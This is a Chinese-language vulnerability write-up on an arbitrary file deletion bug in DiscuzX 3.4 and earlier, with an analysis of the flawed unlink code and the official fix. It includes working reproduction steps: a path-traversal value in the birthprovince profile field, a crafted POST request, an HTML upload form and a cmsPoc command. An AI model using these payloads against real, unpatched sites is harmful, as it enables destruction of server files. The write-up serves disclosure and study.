DiscuzX v3.4 任意文件删除漏洞
漏洞影响
DiscuzX版本 ≤ v3.4
官方于9月29日修复该漏洞:
https://gitee.com/ComsenzDiscuz/DiscuzX/comm/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
漏洞复现
Dz下载地址: https://gitee.com/ComsenzDiscuz/DiscuzX.git 选择一个时间线在9月29日前的进行git checkout即可。比如 git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be
。安装完成后,在当前目录下准备一个待删除的文件,比如theTestFile.txt
随便注册一个号,进入个人设置中心,即:
http://10.10.10.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile&op=base |
---|
cmsPoc
登陆后获取cookie后,命令行:
python cmspoc.py -u http://10.10.10.1:2500/DiscuzX/upload/home.php -t discuzx -s v34_delete_arbitrary_files |
---|
粘贴cookie,后输入需要删除的文件。
手动
修改出生地址为要删除的文件地址,这里比如 ../../theTestFile.txt
可以用burp截包修改
也可以先查看源代码(ctrl+U)后找到formhash值,这里测试环境中为2c7400c6
然后直接进行POST:
http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profilePOST:birthprovince=../../../theTestFile.txt&profilesubmit=1&formhash=2c7400c6
回到个人资料处,可以发现出生地已经改变。
法一
接下去是进行正式的任意文件删除。可以自己构造一个表单,如下:
<form action="http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data"><input type="file" name="birthprovince" value="../../../theTestFile.txt"/><input type="hidden" name="formhash" value="2c7400c6"/><input type="hidden" name="profilesubmit" value="1"/><input type="submit" value="Submit"/></from> |
---|
这里要注意两个点:
- 需要post一个birthprovince参数,其值为要删除的文件,即../../../theTestFile.txt
- 需要指定formhash参数,这里的值为2c7400c6
选择随便一张图片上传,点击submit,可以发现原本的theTestFile.txt已经被删除。
法二
另一种删除方法,直接在个人资料页面修改html代码。比如修改真实姓名处
修改name,value,type分别为birthprovince,要删除的文件路径,file。
之后选择随便一张图片上传,点击下方的保存,同样theTestFile也被删除。
漏洞分析
在source/include/spacecp/spacecp_profile.php中,第69行:
if(submitcheck('profilesubmit')) { |
---|
先对profilesubmit进行了一次检查。
之后第188行,有一段处理上传文件的代码:
if($_FILES) { $upload = new discuz_upload(); foreach($_FILES as $key => $file) |
---|
往下看,约莫第208行左右,有下述代码:
if(!$upload->error()) { $upload->save(); if(!$upload->get_image_info($attach['target'])) { @unlink($attach['target']); continue; } $setarr[$key] = ''; $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment'])); if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) { if(isset($verifyinfo['field'][$key])) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; } continue; } if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment'];} |
---|
当文件上传成功,也就是!$upload->error()
,会执行到unlink语句:
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); |
---|
这里的$key
,在前面foreach($_FILES as $key => $file)
中定义。
而$space
,为用户个人资料,在source/include/spacecp/spacecp_profile.php的第23行左右:
$space = getuserbyuid($_G['uid']);space_merge($space, 'field_home');space_merge($space, 'profile'); |
---|
这些操作会将用户相关的信息通过数据库提取出来保存到变量$space中。你可以在上面三句代码后面加上一句var_dump($space);
,然后访问 http://127.0.0.1:2500/DiscuzX/upload/home.php?mod=spacecp&ac=profile 。
即可看到一堆的变量,比如说birthprovince。
所以思考一下这个过程:
- 设置birthprovince为要删除的文件,比如../../theTestFile.txt
- 上传文件,构造$key 为 birthprovince。
- space[
- key] = $space[birthprovince] =
- 拼接后 unlink(getglobal(XXX/profile/../../theTestFile.txt) 达到任意文件删除。
上面的这个思路,即对应着前面漏洞复现中的法一和法二。
相关老洞
乌云编号: wooyun-2014-065513
当时的漏洞代码出在source/include/spacecp/spacecp_profile.php中,第69行:
# 这是当时的漏洞代码if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key])) { echo (getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } }}
官方当时的补丁做法是:增加了一次判断
if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') { echo "0"; @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); @unlink(getglobal('settin g/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } }} |
---|
在删除之间多进行了一次验证:$_G['cache']['profilesetting'][$key]['formtype'] == 'file'
,也就是说,若要成功删除, 需要formtype为file类型。
漏洞修复
这次的漏洞修复简单粗暴,将unlink语句直接删除。。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Julia简易教程——3_复数和分数
- 怎么理解int main(int argc, const char *argv[])
- Julia简易教程——2_julia数学运算及其基本功能
- Elasticsearch: 运用 Field collapsing 来减少基于单个字段的搜索结果
- Julia简易教程——1_julia中的整数和浮点数
- Linux 工作常用命令笔记(持续更新)
- Vim实用技巧——Vim分屏技巧总结
- Activity onStop,onDestroy延迟10s执行
- 内存优化实战
- Nali:一个离线查询 IP 地理信息和 CDN 提供商的终端利器
- MySQL8.0的几个新特性
- read_only和super_read_only参数的区别
- AWS 命名提示需要指定 region
- AWS CodeArtifact 如何设置用户的 TOKEN
- GORM V2 自动迁移和迁移接口的方法